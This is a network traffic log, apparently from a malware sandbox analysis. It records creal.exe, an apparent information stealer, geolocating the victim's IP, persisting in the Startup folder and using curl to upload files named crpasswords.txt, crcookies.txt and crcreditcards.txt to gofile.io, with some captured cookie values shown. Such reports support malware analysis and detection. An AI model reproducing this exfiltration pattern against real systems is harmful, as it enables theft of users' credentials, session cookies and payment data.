Jan 16, 2025 09:09:16.821820021 CET	1.1.1.1	192.168.2.9	0x1555	No error (0)	api.gofile.io		45.112.123.126	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:09:16.821820021 CET	1.1.1.1	192.168.2.9	0x1555	No error (0)	api.gofile.io		51.91.7.6	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:09:17.730237961 CET	1.1.1.1	192.168.2.9	0x55ac	No error (0)	geolocation-db.com		159.89.102.253	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:09:19.397696972 CET	1.1.1.1	192.168.2.9	0x859a	No error (0)	store4.gofile.io		31.14.70.245	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

api.gofile.io

geolocation-db.com

store4.gofile.io

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49763	104.26.13.205	443	7612	C:\Users\user\Desktop\creal.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:16 UTC	117	OUT	GET / HTTP/1.1 Accept-Encoding: identity Host: api.ipify.org User-Agent: Python-urllib/3.12 Connection: close
2025-01-16 08:09:16 UTC	423	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 08:09:16 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 902c9f57bde282ed-IAD server-timing: cfL4;desc="?proto=TCP&rtt=7112&min_rtt=7104&rtt_var=2680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=709&delivery_rate=407195&cwnd=32&unsent_bytes=0&cid=5d1c52e20736cd7f&ts=155&x=0"
2025-01-16 08:09:16 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49769	45.112.123.126	443	7612	C:\Users\user\Desktop\creal.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:17 UTC	126	OUT	GET /getServer HTTP/1.1 Accept-Encoding: identity Host: api.gofile.io User-Agent: Python-urllib/3.12 Connection: close
2025-01-16 08:09:17 UTC	1146	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.1 Date: Thu, 16 Jan 2025 08:09:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 14 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Credentials: true Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 0 ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A" X-Robots-Tag: noindex, nofollow
2025-01-16 08:09:17 UTC	14	IN	Data Raw: 65 72 72 6f 72 2d 6e 6f 74 46 6f 75 6e 64 Data Ascii: error-notFound

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49775	159.89.102.253	443	7612	C:\Users\user\Desktop\creal.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:18 UTC	140	OUT	GET /jsonp/8.46.123.189 HTTP/1.1 Accept-Encoding: identity Host: geolocation-db.com User-Agent: Python-urllib/3.12 Connection: close
2025-01-16 08:09:18 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Thu, 16 Jan 2025 08:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: *
2025-01-16 08:09:18 UTC	172	IN	Data Raw: 61 31 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 6e 75 6c 6c 2c 22 70 6f 73 74 61 6c 22 3a 6e 75 6c 6c 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 37 2e 37 35 31 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 39 37 2e 38 32 32 2c 22 49 50 76 34 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 73 74 61 74 65 22 3a 6e 75 6c 6c 7d 29 0d 0a 30 0d 0a 0d 0a Data Ascii: a1callback({"country_code":"US","country_name":"United States","city":null,"postal":null,"latitude":37.751,"longitude":-97.822,"IPv4":"8.46.123.189","state":null})0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49788	31.14.70.245	443	748	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:20 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 193 Content-Type: multipart/form-data; boundary=------------------------069d07de67658548
2025-01-16 08:09:20 UTC	193	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 36 39 64 30 37 64 65 36 37 36 35 38 35 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 70 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 36 39 64 30 37 64 65 36 37 36 35 38 35 34 38 2d 2d 0d 0a Data Ascii: --------------------------069d07de67658548Content-Disposition: form-data; name="file"; filename="crpasswords.txt"Content-Type: text/plain--------------------------069d07de67658548--
2025-01-16 08:09:20 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Thu, 16 Jan 2025 08:09:20 GMT Content-Type: application/json Content-Length: 747 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2025-01-16 08:09:20 UTC	747	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 36 30 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 77 58 47 65 6b 49 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 34 36 39 4b 57 69 36 6d 64 49 48 31 79 72 37 62 47 59 44 4d 56 36 68 52 7a 72 54 42 59 5a 6e 4c 22 2c 22 69 64 22 3a 22 39 64 35 66 35 32 34 63 2d 32 32 37 30 2d 34 61 39 39 2d 39 63 36 35 2d 36 39 33 38 66 63 30 61 33 39 38 64 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 36 30 2c Data Ascii: {"data":{"createTime":1737014960,"downloadPage":"https://gofile.io/d/wXGekI","guestToken":"469KWi6mdIH1yr7bGYDMV6hRzrTBYZnL","id":"9d5f524c-2270-4a99-9c65-6938fc0a398d","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1737014960,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49801	31.14.70.245	443	7608	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:21 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 466 Content-Type: multipart/form-data; boundary=------------------------6724afa5a35b96de
2025-01-16 08:09:21 UTC	466	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 37 32 34 61 66 61 35 61 33 35 62 39 36 64 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 31 50 5f 4a 41 52 09 32 30 32 33 2d 31 30 2d 30 35 2d 30 39 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 4e 49 44 09 35 31 31 3d 6b 39 74 54 33 71 37 59 66 68 Data Ascii: --------------------------6724afa5a35b96deContent-Disposition: form-data; name="file"; filename="crcookies.txt"Content-Type: text/plain.google.comTRUE/FALSE25975734561P_JAR2023-10-05-09.google.comTRUE/FALSE2597573456NID511=k9tT3q7Yfh
2025-01-16 08:09:21 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Thu, 16 Jan 2025 08:09:21 GMT Content-Type: application/json Content-Length: 437 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2025-01-16 08:09:21 UTC	437	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 36 31 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 71 50 36 78 58 69 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 55 56 33 30 79 32 42 70 71 64 72 47 7a 4b 36 31 6b 64 70 74 78 57 4d 4a 54 72 37 75 49 33 4f 76 22 2c 22 69 64 22 3a 22 61 64 31 31 62 35 65 30 2d 33 35 34 30 2d 34 63 35 32 2d 39 63 31 63 2d 64 62 65 32 66 34 30 63 37 61 30 39 22 2c 22 6d 64 35 22 3a 22 35 38 64 61 31 63 34 65 37 64 37 33 34 33 64 37 32 39 30 30 34 30 32 31 66 66 61 65 37 63 36 61 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 74 61 62 2d 73 65 70 61 72 61 74 65 64 2d 76 61 6c 75 65 73 22 2c 22 6d 6f 64 54 69 Data Ascii: {"data":{"createTime":1737014961,"downloadPage":"https://gofile.io/d/qP6xXi","guestToken":"UV30y2BpqdrGzK61kdptxWMJTr7uI3Ov","id":"ad11b5e0-3540-4c52-9c1c-dbe2f40c7a09","md5":"58da1c4e7d7343d729004021ffae7c6a","mimetype":"text/tab-separated-values","modTi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49813	31.14.70.245	443	3720	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:22 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 195 Content-Type: multipart/form-data; boundary=------------------------a6eead71f8802286
2025-01-16 08:09:22 UTC	195	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 36 65 65 61 64 37 31 66 38 38 30 32 32 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 72 65 64 69 74 63 61 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 36 65 65 61 64 37 31 66 38 38 30 32 32 38 36 2d 2d 0d 0a Data Ascii: --------------------------a6eead71f8802286Content-Disposition: form-data; name="file"; filename="crcreditcards.txt"Content-Type: text/plain--------------------------a6eead71f8802286--
2025-01-16 08:09:23 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Thu, 16 Jan 2025 08:09:23 GMT Content-Type: application/json Content-Length: 749 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2025-01-16 08:09:23 UTC	749	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 36 33 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 70 6c 72 6a 47 51 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 6d 37 34 44 47 6c 5a 43 56 57 4a 62 58 70 6e 61 6c 4f 70 73 35 36 58 4a 65 76 72 4a 54 41 51 6e 22 2c 22 69 64 22 3a 22 62 33 34 66 34 61 39 30 2d 33 38 66 38 2d 34 37 63 36 2d 38 31 64 32 2d 37 38 33 63 65 38 34 32 32 62 38 62 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 36 33 2c Data Ascii: {"data":{"createTime":1737014963,"downloadPage":"https://gofile.io/d/plrjGQ","guestToken":"m74DGlZCVWJbXpnalOps56XJevrJTAQn","id":"b34f4a90-38f8-47c6-81d2-783ce8422b8b","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1737014963,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49883	104.26.13.205	443	4992	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:34 UTC	117	OUT	GET / HTTP/1.1 Accept-Encoding: identity Host: api.ipify.org User-Agent: Python-urllib/3.12 Connection: close
2025-01-16 08:09:34 UTC	425	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 08:09:34 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 902c9fc83ab654af-YYZ server-timing: cfL4;desc="?proto=TCP&rtt=14414&min_rtt=14402&rtt_var=5426&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=709&delivery_rate=201309&cwnd=32&unsent_bytes=0&cid=f9251ab33dc5c09b&ts=194&x=0"
2025-01-16 08:09:34 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49889	45.112.123.126	443	4992	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:35 UTC	126	OUT	GET /getServer HTTP/1.1 Accept-Encoding: identity Host: api.gofile.io User-Agent: Python-urllib/3.12 Connection: close
2025-01-16 08:09:35 UTC	1146	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.1 Date: Thu, 16 Jan 2025 08:09:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 14 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Credentials: true Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 0 ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A" X-Robots-Tag: noindex, nofollow
2025-01-16 08:09:35 UTC	14	IN	Data Raw: 65 72 72 6f 72 2d 6e 6f 74 46 6f 75 6e 64 Data Ascii: error-notFound

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49895	159.89.102.253	443	4992	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:36 UTC	140	OUT	GET /jsonp/8.46.123.189 HTTP/1.1 Accept-Encoding: identity Host: geolocation-db.com User-Agent: Python-urllib/3.12 Connection: close
2025-01-16 08:09:36 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Thu, 16 Jan 2025 08:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: *
2025-01-16 08:09:36 UTC	172	IN	Data Raw: 61 31 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 6e 75 6c 6c 2c 22 70 6f 73 74 61 6c 22 3a 6e 75 6c 6c 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 37 2e 37 35 31 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 39 37 2e 38 32 32 2c 22 49 50 76 34 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 73 74 61 74 65 22 3a 6e 75 6c 6c 7d 29 0d 0a 30 0d 0a 0d 0a Data Ascii: a1callback({"country_code":"US","country_name":"United States","city":null,"postal":null,"latitude":37.751,"longitude":-97.822,"IPv4":"8.46.123.189","state":null})0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49911	31.14.70.245	443	3480	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:38 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 193 Content-Type: multipart/form-data; boundary=------------------------2b19bbf9df8f9a94
2025-01-16 08:09:38 UTC	193	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 62 31 39 62 62 66 39 64 66 38 66 39 61 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 70 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 62 31 39 62 62 66 39 64 66 38 66 39 61 39 34 2d 2d 0d 0a Data Ascii: --------------------------2b19bbf9df8f9a94Content-Disposition: form-data; name="file"; filename="crpasswords.txt"Content-Type: text/plain--------------------------2b19bbf9df8f9a94--
2025-01-16 08:09:38 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Thu, 16 Jan 2025 08:09:38 GMT Content-Type: application/json Content-Length: 747 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2025-01-16 08:09:38 UTC	747	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 37 38 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 6e 34 4f 73 6c 42 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 30 50 58 4e 39 4d 31 44 70 31 43 72 72 65 4f 54 72 59 4f 73 48 31 76 61 46 44 61 51 47 56 48 6a 22 2c 22 69 64 22 3a 22 38 35 61 37 61 39 33 30 2d 63 62 36 35 2d 34 66 36 36 2d 61 37 39 39 2d 34 32 65 37 39 66 66 33 62 33 32 64 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 37 38 2c Data Ascii: {"data":{"createTime":1737014978,"downloadPage":"https://gofile.io/d/n4OslB","guestToken":"0PXN9M1Dp1CrreOTrYOsH1vaFDaQGVHj","id":"85a7a930-cb65-4f66-a799-42e79ff3b32d","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1737014978,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49921	31.14.70.245	443	1080	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:39 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 466 Content-Type: multipart/form-data; boundary=------------------------e82318e3899d8f43
2025-01-16 08:09:39 UTC	466	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 38 32 33 31 38 65 33 38 39 39 64 38 66 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 31 50 5f 4a 41 52 09 32 30 32 33 2d 31 30 2d 30 35 2d 30 39 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 4e 49 44 09 35 31 31 3d 6b 39 74 54 33 71 37 59 66 68 Data Ascii: --------------------------e82318e3899d8f43Content-Disposition: form-data; name="file"; filename="crcookies.txt"Content-Type: text/plain.google.comTRUE/FALSE25975734561P_JAR2023-10-05-09.google.comTRUE/FALSE2597573456NID511=k9tT3q7Yfh
2025-01-16 08:09:40 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Thu, 16 Jan 2025 08:09:40 GMT Content-Type: application/json Content-Length: 437 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2025-01-16 08:09:40 UTC	437	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 38 30 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 62 32 48 56 30 38 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 66 79 37 6d 52 6d 47 37 56 70 73 79 47 49 73 6e 46 4a 7a 61 41 63 6e 6c 47 75 73 4b 58 77 7a 6e 22 2c 22 69 64 22 3a 22 61 65 36 63 38 38 32 65 2d 64 64 62 34 2d 34 33 36 39 2d 61 30 39 62 2d 65 30 34 39 33 31 39 33 32 63 66 32 22 2c 22 6d 64 35 22 3a 22 35 38 64 61 31 63 34 65 37 64 37 33 34 33 64 37 32 39 30 30 34 30 32 31 66 66 61 65 37 63 36 61 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 74 61 62 2d 73 65 70 61 72 61 74 65 64 2d 76 61 6c 75 65 73 22 2c 22 6d 6f 64 54 69 Data Ascii: {"data":{"createTime":1737014980,"downloadPage":"https://gofile.io/d/b2HV08","guestToken":"fy7mRmG7VpsyGIsnFJzaAcnlGusKXwzn","id":"ae6c882e-ddb4-4369-a09b-e04931932cf2","md5":"58da1c4e7d7343d729004021ffae7c6a","mimetype":"text/tab-separated-values","modTi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49934	31.14.70.245	443	2024	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 08:09:42 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 195 Content-Type: multipart/form-data; boundary=------------------------cd5f239849a3a26e
2025-01-16 08:09:42 UTC	195	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 64 35 66 32 33 39 38 34 39 61 33 61 32 36 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 72 65 64 69 74 63 61 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 64 35 66 32 33 39 38 34 39 61 33 61 32 36 65 2d 2d 0d 0a Data Ascii: --------------------------cd5f239849a3a26eContent-Disposition: form-data; name="file"; filename="crcreditcards.txt"Content-Type: text/plain--------------------------cd5f239849a3a26e--
